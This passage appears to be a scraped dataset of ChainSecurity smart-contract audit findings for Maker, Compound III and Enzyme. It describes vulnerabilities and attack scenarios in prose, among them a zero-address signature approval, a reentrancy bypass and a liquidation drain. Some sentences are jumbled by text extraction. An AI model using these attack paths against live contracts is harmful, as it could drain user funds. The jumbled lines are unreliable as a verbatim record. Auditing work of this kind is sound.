exponential decay for the rewardRate, rewardRate will rewardRate decrease block initial the the n Maker - EndGame Toolkit - 13 NoteVersion1Version2NoteVersion1 \fcorresponding to an exponential decay of the remaining reward. The reward will therefore not be distributed in a finite amount of time. Numerical simulations have showed that after 1 week 63% will have been distributed, after 2 weeks 86%, after 3 weeks 95%, after 4 weeks almost 99%. In practice, anybody can trigger notifyRewardAmount() at every block by calling the distribute method of VestedRewardsDistribution, the cost of doing so in terms of gas is likely to offset any advantage that such an attacker can get from delaying in such a way the reward rate. Calling distribute() every block will however not pass an amount of zero notifyRewardAmount(), but it will pass the reward per block vested in dssVest. In the steady state, when the dssVest has been supplying a constant stream of reward for a long time, even factoring in the exponential decay behavior, the rewardRate in StakingRewards will converge to the same constant rate as in dssVest. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-endgame-toolkit/"}, {"title": "7.3 Vesting Plan Must Be Restricted", "body": " If a vesting plan of DSSVest is restricted, that means only the recipient of the rewards may claim them, no one else can trigger the distribution of the rewards. For the correct operation of VestedRewardsDistribution it's important that the plan is restricted: VestedRewardsDistribution.distribute() in amount = dssVest.unpaid(vestId); only, any excess balance held at the contract is not forwarded. retrieved forwards amount the Maker - EndGame Toolkit - 14 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/maker-endgame-toolkit/"}, {"title": "5.1 Allowances Enable Management of Both Base", "body": " Tokens and Collateral Assets Users can give privileges to other accounts through the approve and allow functions. Both functions use the isAllowed mapping to store this information. Accounts for which isAllowed is set to true have full control over both the base tokens and the collateral assets of the user. This is problematic for the following reasons: It may not be clear to users who call the approve function (which is part of the ERC-20 interface) that this not only gives the spender access to their base tokens but also to their collateral assets. The function description does not specify this. There is no means of giving partial privileges (i.e., access only to base tokens or only to collaterals) to another account. This may force users to give unnecessary permissions to other accounts. Given prior experiences with ERC-20 tokens, users might expect the approve function to allow the spender to transfer at most balanceOf tokens. However, this is not true here as an approval also allows the spender to borrow funds. As a result, balanceOf can essentially become negative, which might not match the expectations of users or integrators. Compound - Comet - 10 SecurityDesignCorrectnessCriticalHighMediumRiskAcceptedRiskAcceptedRiskAcceptedRiskAcceptedLowRiskAcceptedRiskAcceptedRiskAcceptedCorrectnessMediumVersion1RiskAccepted \fTo avoid integration issues and the compromise of user funds, these unexpected behaviors should be clearly documented. Risk accepted: Compound has added dev notes documenting the special behaviour. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "5.2 Oracle Timestamps Not Checked", "body": " The function getPrice does not verify that the round data received from Chainlink oracles is up-to-date. If there is any problem with the oracles that results in outdated pricing data being returned. As a result critical calculations for allowed borrowing and liquidations would become inaccurate. It might be possible to liquidate safe positions or take out under-collateralized borrows. Risk accepted: Compound acknowledges the risk and notes that even if a defense against a lack of updates was implemented, the ability to report false prices make the price oracles a primary risk vector for the protocol. Moreover, Compound encourages governance to invest in improvements upon the oracle system, especially ones which can also reduce gas costs. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "5.3 approve Only Allows the Values 0 and MAX", "body": " The approve function only allows the values 0 and type(uint256).max which could lead to the following complications: 1. All approvals are infinite. In the past, infinite approvals given to buggy contracts have been exploited (e.g., in the case of Multichain). The risk of this is increased when only infinite approvals can be given. 2. All other approvals will fail. This breaks integration with existing DeFi protocols, which approve exact values. Comet Tokens would be incompatible with such protocols. Risk accepted: Compound accepts the risk and refers to its documentation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "5.4 baseBorrowMin Is Not Enforced for", "body": " Destination of Transfer Borrows have a minimum threshold, called baseBorrowMin to ensure that it remains worthwhile to liquidate them. However, this minimum threshold does not always hold. If Base Tokens are transferred to another address using transferBase and the sender has to borrow tokens, the call reverts if the amount of borrowed tokens does not exceed the baseBorrowMin threshold. However, if a user receives tokens such that his balance is still negative but now violates the baseBorrowMin threshold, the call does not revert. Compound - Comet - 11 SecurityMediumVersion1RiskAcceptedDesignMediumVersion1RiskAcceptedCorrectnessMediumVersion1RiskAccepted \fAs a consequence, an attacker could intentionally set up many accounts with borrows below the threshold in order to avoid liquidation. However, setting up such accounts would also consume a lot of gas and hence is unlikely to be financially beneficial. Risk accepted: Compound accepts the risk with the following statement: The intention behind baseBorrowMin is to disallow initiating new borrows for which liquidation would likely not be worthwhile relative to gas costs. The destination of a transfer can only end up with 'dust' if a debt is partially repaid by another account almost fully. Both new positions would still need to be fully collateralized according to the borrow collateral factor. If some kind of griefing attack were attempted, governance could declare such tiny borrows as liquidatable at any point, and potentially seize or sell all the collateral immediately. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "5.5 Balances Can Be Overflowed", "body": " The functions presentValueSupply and presentValueBorrow in CometCore allow an overflow due to unsafe casting to uint104. Consider the following scenario: A user supplies type(int104).max Base Tokens to the protocol. After some time, the baseSupplyIndex is equal to or greater than 2. The user calls any of the functions that update their balance with 0 amount. totalSupplyBase as well as the user's principal will be overflowed to a value smaller than the current value. If the base token uses the maximum of 18 decimals allowed in the protocol, around 10 trillion in principal balance and an index value of at least 2 (otherwise the safe cast in presentValue will kick in) are needed. This is practically infeasible for base tokens pegged to the USD. However, other base tokens (or USD-based tokens after a period of extreme inflation) can bring this problem into the realm of possibilities. Risk accepted: Compound accepts the risk and extended the documentation to describe it. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "5.6 Tracking Indices May Overflow on Large", "body": " Tracking Speed Values The state variables trackingSupplyIndex, trackingBorrowIndex as well as each user's baseTrackingIndex are of type uint64. The function accrueInternal updates these indices with the product of the passed seconds and baseTrackingSupplySpeed / baseTrackingBorrowSpeed divided by the current amount of totalSupplyBase / totalBorrowBase (without decimals). baseTrackingSupplySpeed / baseTrackingBorrowSpeed can be numbers with a decimal scale of up to 15 which will result in an overflow after a non-negligible time-frame if the amount of supplied / borrowed tokens is low and baseMinForRewards is set to a low value. Compound - Comet - 12 CorrectnessLowVersion1RiskAcceptedCorrectnessLowVersion1RiskAccepted \fSuppose trackingIndexScale, trackingSupplyIndex and trackingBorrowIndex are all set to 1e15 (e.g. 1 COMP per second). The safe cast to uint64 in accrueInternal will revert after only approximately 5 hours after the baseMinForRewards has been reached resulting in a denial-of-service for the whole contract. This time is multiplied by the amount of full tokens supplied. Risk accepted: Compound accepts this risk with the following statement: The overflow behavior depends on several parameters which do need to be chosen carefully by governance. However, we believe these values can be chosen safely and need not often, if ever, change. In the worst case, in which governance fails to set these safely, there would be a denial of service until resolved by governance. We believe this is an acceptable risk, given that the very worst case in which bad parameters are chosen still does not result in any loss of funds. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "5.7 targetReserves Limit in buyCollateral", "body": " Can Be Circumvented The targetReserves value describes the expected value of the protocol reserves expressed in the base asset. The function buyCollateral reverts if the current protocol reserves are higher than targetReserves as it doesn't allow the purchase of Collateral assets in this case. However, if any of the collateral tokens has a callback as part of transferFrom (e.g. ERC777), then this check can be circumvented with a reentrant call to buyCollateral. As a consequence, more collateral can be bought than intended by the protocol as the check is not correctly performed for the reentrant call. Additionally, even without a reentrancy, the purchased amount might far exceed the value of targetReserves. At the time of writing it was unclear whether this is intended in all cases. Risk accepted: Compound accepts the risk with the following statement: The reserves target is a mechanism for governance to prevent the sale of collateral after a sufficient number of reserves have been reached. The risk that collateral assets may be sold and increase reserves beyond the target amount, is not a risk to the protocol health, in fact generally the opposite, as it guarantees a larger amount of reserves. The issue is that it could prevent the protocol from being as profitable as it might otherwise be in the event that assets are liquidated and sold and later become much more valuable (as has been the case previously for many crypto assets), but we are not concerned about that risk. Compound - Comet - 13 SecurityLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Wrong Computation of Borrow Balance -Severity Findings No Handling of Ecrecover Return on Wrong Input No Sanity Checks for liquidationFactor CometInterface Not Implemented by the Contracts -Severity Findings Accrued Interest Not Accounted for in Balance Functions Floating Pragma Missing Constructor Sanity Checks Missing Events No Recovery of Accidental Token Transfers Possible Possible Contract Size Reductions Possible Gas Savings Rounding Errors Between User Balances and Total Balances Unused Custom Error ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "6.1 Wrong Computation of Borrow Balance", "body": " function borrowBalanceOf The baseBorrowIndex to compute the borrow balance: inside the CometExt uses baseSupplyIndex 0 1 3 9 instead of function borrowBalanceOf(address account) external view returns (uint256) { int104 principal = userBasic[account].principal; return principal < 0 ? presentValueBorrow(baseSupplyIndex, unsigned104(-principal)) : 0; As a consequence, the result is incorrect. The borrowBalanceOf function now uses the correct index (i.e., baseBorrowIndex). In addition, unit tests were updated to catch this issue by using a different value for baseSupplyIndex and baseBorrowIndex. Compound - Comet - 14 CriticalHighCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessHighVersion1CodeCorrected \f6.2 No Handling of Ecrecover Return on Wrong Input ecrecover returns 0 on error. This error value is not checked correctly within the allowBySig function. As a result anyone can call allowBySig with owner == 0 and thereby set approvals in the name of the 0-address. Since transfers to the 0-address are possible in the contract, falsely sent funds to this address could be recovered by an attacker. The allowBySig function now reverts if the value returned by ecrecover is the 0-address. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "6.3 No Sanity Checks for liquidationFactor", "body": " The liquidationFactor determines the liquidation penalty a user suffers based on the collateral asset. When setting the liquidationFactor in the function _getPackedAsset, it should be checked against the value of storeFrontPriceFactor. The storeFrontPriceFactor describes the discount If liquidationFactor > storeFrontPriceFactor, then the protocol is expected to lose funds on liquidations. Any user noticing this, could perform the following attack: liquidated collateral. someone protocol when gives buys the Sandwich significant price updates which decrease any of the collateral prices or increase the base asset price using: Supply a collateral and borrow the maximum Absorb the account and liquidate This would drain funds from the protocol. Hence, it should be ensured that this setting never exists. liquidationFactor is now assured to be smaller than or equal to storeFrontPriceFactor. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "6.4 CometInterface Not Implemented by the", "body": " Contracts The contracts Comet and CometExt contracts do not extend the CometInterface. This can lead to errors during development and integration by third parties as the interface does not match up with the implementations. One such error is that the contracts do not implement an accrue function even though it is defined in the CometInterface: abstract contract CometInterface is CometCore, ERC20 { ... function accrue() virtual external; Compound - Comet - 15 SecurityMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \f CometInterface was split into CometMainInterface and CometExtInterface. Comet now implements CometMainInterface, and CometExt now implements CometExtInterface. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "6.5 Accrued Interest Not Accounted for in", "body": " Balance Functions The functions balanceOf, borrowBalanceOf and baseBalanceOf do not accrue interest before returning the respective balances. This can result in unexpected behavior. Consider the following example: 1. A contract queries its borrowBalanceOf of asset A. The function returns X. 2. The contract supplies X of asset A, expecting to have paid back all its borrows. However, unless accrueInternal has by chance been called within the same block, there will be a remaining borrow balance. This behavior needs to be explicitly specified, currently the function descriptions do not indicate this in any way: /** * @notice Query the current negative base balance of an account or zero * @param account The account whose balance to query * @return The present day base balance magnitude of the account, if negative */ balanceOf, borrowBalanceOf and baseBalanceOf now calculate baseSupplyIndex / baseBorrowIndex before converting them to present values. the current values of ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "6.6 Floating Pragma", "body": " Comet uses the floating pragma ^0.8.11. Contracts should be deployed with the compiler version and flags that were used during testing and auditing. Locking the pragma helps to ensure that contracts are not accidentally deployed using a different compiler version and help ensure a reproducible deployment. Compiler version has been fixed to 0.8.13. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "6.7 Missing Constructor Sanity Checks", "body": " The following sanity checks could potentially be added to the constructor: Base Token decimals should be at least 6 to prevent accrualDescaleFactor from becoming 0. Compound - Comet - 16 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f A comment for baseMinForRewards suggests the value should be sufficiently large but is only checked to be non-zero. reserveRate should be lower or equal to FACTOR_SCALE to prevent reverting on underflow in getSupplyRate. kink should be lower than or equal to FACTOR_SCALE. Corrected: baseScale is assured to be greater than or equal to BASE_ACCRUAL_SCALE. Risk accepted: Governance is trusted to choose the correct value for baseMinForRewards. Corrected: kink is assured to be smaller than or equal to FACTOR_SCALE. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "6.8 Missing Events", "body": " The following functions represent important state changes, for which an event might be helpful: initializeStorage pause absorb buyCollateral withdrawReserves allow allowBySig Additionally, if absorbing an account results in a loss of funds of reserves, because the collateral did not cover the borrow, an event could be emitted as well. All mentioned functions except initializeStorage and buyCollateral now emit events. Regarding the remaining events, Compound has issued the following statement: Our view is that events should not be viewed as critical for tracking state changes, and that modern off-chain processors are capable of tracking all contract state transitions anyway. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "6.9 No Recovery of Accidental Token Transfers", "body": " Possible In case an ERC-20 token other than the base tokens or collateral tokens is sent to the contract, then it cannot be recovered. Among other reasons, this might happen due to airdrops based on the base tokens or collateral tokens. A new function approveThis has been introduced to allow the governance to approve any ERC20 token to any address. Compound - Comet - 17 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.10 Possible Contract Size Reductions Instead of creating an empty AssetConfig, and later returning (0, 0), the function _getPackedAsset could directly return (0, 0). The functions isBorrowCollateralized, getBorrowLiquidity, isLiquidatable and getLiquidationMargin share the same code with marginal modifications. The overlapping code could be factored out into new functions to save code size. The baseScale variable is only needed internally and is derived from decimals and can thus be defined as internal to reduce code size. The intialization of trackingSupplyIndex and trackingBorrowIndex to 0 in the initializeStorage function can be omitted. Corrected: __getPackedAsset now directly returns (0, 0) if an AssetConfig element is empty. Not corrected: Compound claims that the compiler opimizations already account for a sufficient getBorrowLiquidity, isBorrowCollateralized, contract reduction isLiquidatable and getLiquidationMargin. size in Not corrected: Compound does not want to make an exception for one variable. Corrected: trackingSupplyIndex and trackingBorrowIndex are no longer initialized to 0. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "6.11 Possible Gas Savings", "body": " The function _getPackedAsset calls the decimals function of the asset ERC20 contract and checks if it equals the provided decimals variable in AssetConfig. Since the external call to asset is done anyways, there is no need to provide the decimals in the config and perform this check. The function supplyCollateral calls getAddressInfoByAddress and updateAssetsIn which calls getAddressInfoByAddress for the same address again. The function absorbInternal calls isLiquidatable and then proceeds to perform a very similar computation (including the same calls to the price oracles) again. The function isBorrowCollateralized is expected to be commonly called for contracts with a non-negative base balance, e.g., for address(this) in buyCollateral. In those cases, isBorrowCollateralized can return true as soon as presentValue is non-negative. Then, the call to the price oracle can be skipped. Not corrected: The additional decimals value in the supplied config is used as sanity check to determine if the caller actually knows the decimals of the asset being configured. Corrected: updateAssetsIn now takes AssetInfo as argument and does not load asset infos itself anymore. Compound - Comet - 18 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f Not corrected: Compound claims that the compiler already optimizes the functions. Corrected: isBorrowCollateralized now checks if the user's present value is greater than or equal to zero before performing any calculations. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "6.12 Rounding Errors Between User Balances and", "body": " Total Balances Due to the balance calculation with indices and principal values, rounding errors can introduce an inconsistency between the user balances and the total balances. Consider the following scenario: totalSupplyBase is 100. baseSupplyIndex is 1.085 (without decimals). A user now supplies 10 Base Tokens with the supply function. totalSupplyBase gets updated to 108. The user's principal gets updated to 9. If the protocol holds no reserves, the last user to withdraw their balance from the contract might not be able to withdraw the full amount. The calculation of totals was modified to address this issue: Indices are now no longer translated to their present values, updated and trasnlated back to their principal values. Instead, they are now updated with the delta of users' principal values. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "6.13 Unused Custom Error", "body": " The Comet contract defines a BadAmount error that is never used. Unused errors BadAmount in Comet and Unauthorized in CometExt have been removed. Compound - Comet - 19 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "7.1 Event Reordering Possible", "body": " doTransferIn and doTransferOut are always called before events are emitted. If the respective ERC20 tokens that are called implement callbacks to the sender or receiver, events could possibly be reordered due to reentrancy. While this is not problematic for the contract itself, this can introduce errors in third-party applications that make certain assumptions about the emitted events. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "7.2 Magic Numbers", "body": " The functions _getPackedAsset and getAssetInfo use the same magic numbers for packing as well as descale and rescale factors: uint256 word_a = (uint160(asset) << 0 | uint256(borrowCollateralFactor) << 160 | uint256(liquidateCollateralFactor) << 176 | uint256(liquidationFactor) << 192); These numbers should be defined as constants to avoid errors during development. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "7.3 Potential Incentive to Withdraw Supply", "body": " In certain circumstances, users might have an incentive to actually withdraw parts of their supplied base tokens. Consider the following scenario: kink is set to 80%. interestRateSlopeLow is set to 10%. interestRateSlopeHigh is set to 300%. interestRateBase is set to 5% For simplification, reserveRate is set to 0. User A has supplied 100 base tokens to the contract. User B has borrowed 80 of those base tokens, resulting in 80% utilization. User A currently receives 10.4 base tokens interest per year. User A now withdraws 20 base tokens such that utilization becomes 100% User A now receives 58.4 base tokens interest per year, even though they have reduced their balance. Compound - Comet - 20 NoteVersion1NoteVersion1NoteVersion1 \fIf User A holds a significant stake in supplied base tokens, they might be incentivized to withdraw some of their supply for as long as the utilization is high enough so that they earn more than 10.4 base tokens per year. However, obviously such a scenario incentivizes others to supply liquidity or repay borrows, so that it is unlikely to last. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "7.4 Regular Use Expected", "body": " For the sake of security, the protocol assumes that each contract is used somewhat regularly. This is required so that the function accrueInternal is called regularly. If there is no regular usage, e.g., if the contract is not called for a year, the following issue arises: Collateral that normally would be liquidatable can still be transferred / withdrawn. This is because the interest needs to be explicitly accrued to update the indexes. Transfers and withdrawals of collateral are allowed without explicit accrual and hence rely on recent actions. Theoretically, this can lead to under-collateralized accounts, but given typical configurations, this would take years of inactivity. The authors are aware of this requirement and added the following comment: // Note: no accrue interest, BorrowCF < LiquidationCF covers small changes ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "7.5 Supported Tokens", "body": " Not all ERC20 tokens can act as base and collateral tokens for Comet contracts. In particular, the following tokens are not supported: Tokens with more than 18 decimals Tokens with less than 6 decimals, e.g., GUSD Tokens with transfer fees Tokens where the balance can change without a transfer, these include: Interest bearing tokens that increase balances Deflationary tokens that decrease balances Rebasing tokens Tokens with a missing return value on transfer or transferFrom (e.g., USDT) Tokens that require certain receiver functions to be implemented in contracts, e.g., ERC223 Tokens with rapidly increasing/positively manipulatable prices (cannot be used as base token) Tokens with rapidly decreasing/negatively manipulatable prices (cannot be used as collateral token) Tokens with multiple entry points for which more than one entry point has been added to the contract's collateral assets. Additionally the following tokens can break the protocol depending on their use: Tokens with blacklisting in case a Comet contract is blacklisted Pausable tokens when paused Upgradable tokens that later introduce one of the problematic features Compound - Comet - 21 NoteVersion1NoteVersion1 \f7.6 The Fallback Function Is Payable The fallback function of Comet is payable even though none of the functions of CometExt are payable. Hence, there is no reason for the fallback function to be payable. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "7.7 Transfers to 0-Address Allowed", "body": " The functions transferInternal and withdrawInternal do not revert on transfers to the 0-address. As a consequence, the base asset and the collateral assets might accidentally be transferred to the 0-address. Compound - Comet - 22 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/compound-iii/"}, {"title": "5.1 Unexpected Staking of Tokens", "body": " Since the spent assets are not validated against the Balancer v2 pool's underlying assets, lendAndStake() could stake LP tokens from the vault along with the newly generated ones. Consider the following scenario 1. Vault holds 1 Balancer LP 2. Manager triggers lendAndStake where the underlyings of the Balancer LP's pool and Balancer LP are specified as spent assets. 3. 1 more Balancer LP is generated. 4. The full balance (2) of Balancer LPs is staked. In contrast, all unused spent assets during the lending part, are returned to the vault proxy. Hence, the adapter may not behave as expected. Risk accepted: Avantgarde Finance replied: This actually seems like an unintended convenience (batches the staking of held LP tokens with buying + staking new LP tokens). It is going to be the case for many/most adapters that if the manager inputs an incorrect value, there could be unintended consequences or value loss (e.g., slippage). Especially since there is no reported path that leads to value loss here, we will leave as- is. Avantgarde Finance - Sulu Extensions VII - 11 DesignCorrectnessCriticalHighMediumRiskAcceptedRiskAcceptedLowCorrectnessMediumVersion1RiskAccepted \f5.2 Unhandled Stake Slashing on Kiln When computing the managed assets of an external position on Kiln, the system assumes the position holds validatorCount * 32 ETH + address(this).balance, thus not considering any stake slashing that may have occurred. This could lead to an over-evaluation of the position if the stake gets slashed on a validator. Risk accepted: Avantgarde Finance replied: Rewards and slashing are not included in the current position valuation, as this requires external oracle monitoring of the consensus layer. The actual position value will deviate by some percent from the ideal value, which will generally tend to be more and more undervalued if we assume consensus rewards outweigh slashing in most cases. For now, managers will need to be aware of this, and if they require more precision, we can integrate a simple oracle to monitor the delta. Avantgarde Finance - Sulu Extensions VII - 12 DesignMediumVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings lendAndStake() May Interact With Two Pools and Leave Tokens Behind -Severity Findings Event Emitted When Non-Existing Pool Is Removed Missing Sanitization for _feeBps Validation for Balancer Staking 0 0 1 3 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-vii/"}, {"title": "6.1 lendAndStake() May Interact With Two", "body": " Pools and Leave Tokens Behind lendAndStake() should mint LP tokens for a pool and stake them. However, it is possible that funds are deposited into one pool but another LP token is staked due to a potential mismatch between pool id and the staking token's LP token. Ultimately, the newly minted LP tokens are to be left in the adapter. Consider the following scenario: 1. The vault holds LP token B. 2. A lend and stake action is started. The pool id is A, the staking token's underlying LP token is pool with id B. The spent assets are the underlying tokens of pool id A and the LP token B. 3. Through the lending, LP token A is received. 4. If the adapter's balance of LP token B (spent asset) is greater than its balance of LP token A, staking will be successful. 5. Only the spent assets are pushed back to the vault. 6. The minimum incoming checks can in the integration manager pass if the spent asset amount for LP token B is greater than the minimum incoming amount. Ultimately, funds can be lost. pool The __parseAssetsForLendAndStake and __parseAssetsForUnstakeAndRedeem. validated against staking token's now the is underlying BPT in Avantgarde Finance - Sulu Extensions VII - 13 CriticalHighMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessMediumVersion1CodeCorrected \f6.2 Event Emitted When Non-Existing Pool Is Removed Function BalancerV2StablePoolPriceFeed.removePool emits a PoolRemoved event even if a pool function BalancerV2StablePoolPriceFeed.removePoolFactories emits events only if a previously added factory is removed. contrast, added. never was In The check isSupportedAsset(pool) has been added to only allow the deletion, and emission of the associated event, of an existing pool. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-vii/"}, {"title": "6.3 Missing Sanitization for _feeBps", "body": " input No the ArbitraryTokenPhasedSharesWrapperLib.init. One could deploy with feeBps > MAX_BPS intentionally or by mistake, which would block the redemption because local fees cannot be paid out. sanitization _feeBps function done on in is Input sanitization for the feeBps has been added. It must satisfy feeBps < MAX_BPS. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-vii/"}, {"title": "6.4 Validation for Balancer Staking", "body": " Both, the Balancer native staking and the Aura staking, perform validity checks on the staking token when parsing the assets for staking or unstaking actions. The validation ensures that the LP token matches the staking token. That is typically implemented as follows: __validateBptForStakingToken(stakingToken, __getBptForStakingToken(stakingToken)); However, __getBptForStakingToken(stakingToken)==__getBptForStakingToken(stakingToken) which is always true. Hence, the validation is redundant and increases gas consumption. perform check that the will that The redundant checks have been removed. However, no validation of the staking addresses for Balancer native staking tokens has been added. Avantgarde Finance - Sulu Extensions VII - 14 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-vii/"}, {"title": "7.1 Unfair Distribution of Rebasing Tokens in", "body": " Shares Wrapper In contrast to other system contracts, the shares wrapper for arbitrary deposit tokens does not support rebasing tokens. For each deposit token wei deposited in the shares wrapper, one shares wrapper wei is minted to the depositor. If the deposit token is a rebasing token, that may lead to losses for early depositors in terms of rebase amounts. Consider the following scenario: 1. Alice deposits 1 stETH and receives 1 stETH shares wrapper. 2. stETH rebases. The contract holds 2 stETH. 3. Bob deposits 1 stETH and receives 1 stETH shares wrapper. 4. Technically, Alice contributed to two thirds of the contracts holdings (2 stETH out of 3 stETH). However, Bob and Alice both have claims to 50% of the contract's underlyings. Ultimately, early-depositors could lose rebase amounts. Avantgarde Finance - Sulu Extensions VII - 15 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-vii/"}, {"title": "6.1 Locked Assets After Repay", "body": " A manager could try to repay an amount bigger than what they owe to Aave. In such cases, the leftover amount will not be transferred back to the vault. Consider the following case: 1. A manager owes 100 DAI 2. The manager tries to repay 110 DAI 3. 110 DAI will be transferred from the vault to the external position 4. The call to Aave will only consume 100 DAI. The remaining amount will remain in the external position After the debt owed to Aave is repaid, the remaining balance of the repayment token is sent back to the vault proxy. Since the repayment token is an underlying and not an aToken, the transfer will not affect the health factor of the positions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-extensions-iii/"}, {"title": "6.2 Rebasing aToken Balance", "body": " ATokens are rebasing tokens. This means that the balance an account holds changes in time and, thus, between the time a transaction is submitted and mined. In the current implementation, there is no way to remove the full amount of the collateral by querying the balance the external position holds during the execution of the transaction. This could result in dust remaining in the external position. Avantgarde Finance - Extensions III - 11 CriticalHighMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedDesignMediumVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f By specifying the maximum integer as the amount, the full aToken balance will be withdrawn: uint256 collateralBalance = ERC20(aTokens[i]).balanceOf(address(this)); if (amounts[i] == type(uint256).max) { amounts[i] = collateralBalance; } // If the full collateral of an asset is removed, it can be removed from collateral assets if (amounts[i] == collateralBalance) { collateralAssets.removeStorageItem(aTokens[i]); emit CollateralAssetRemoved(aTokens[i]); } ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-extensions-iii/"}, {"title": "6.3 Redundant Call", "body": " __addCollateralAsset call the lending pool function setUseReserveAsCollateral which enables an asset to be used as a collateral. However, the implementation of regular transfers will automatically use the underlying of the transferred aToken as collateral if a zero-balance is increased (see AToken code and lending pool\u2019s finalizeTransfer). Hence, the call may be redundant. The call has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-extensions-iii/"}, {"title": "6.4 Sanity Check Missing", "body": " compatible with An added collateral token is never sanitized. Assume a malicious manager to create an evil token which a method is UNDERLYING_ASSET_ADDRESS() which returns a token used by Aave. Since this token is never sanitized, it could be added as collateral since the call the AToken, interface exposes the i.e. of it (lendingPoolAddress).setUserUseReserveAsCollateral(AaveAToken(aTokens[i]).UNDERLYING_ASSET_ADDRESS(), true); will succeed. Adding such a token, however, could block the function ControllerLib.calcGaV() which calculates the external position value. During the calculation, the managed assets are queried with getManagedAssets in order to be priced but no price feed for the evil token exists. The AaveDebtPositionParser will now validate that the token added as collateral is a whitelisted token. Ultimately supported non-aTokens could be deposited. However, that does not block execution nor could it lock tokens. Avantgarde Finance - Extensions III - 12 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-extensions-iii/"}, {"title": "7.1 Aave Paused", "body": " The lending pool of Aave could be paused and, hence, actions on the vault will not be possible to execute. Ultimately, positions could be not modifiable, and funds could be stuck. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-extensions-iii/"}, {"title": "7.2 Sandwiching Transactions for Liquidation", "body": " It is known that the behavior of the 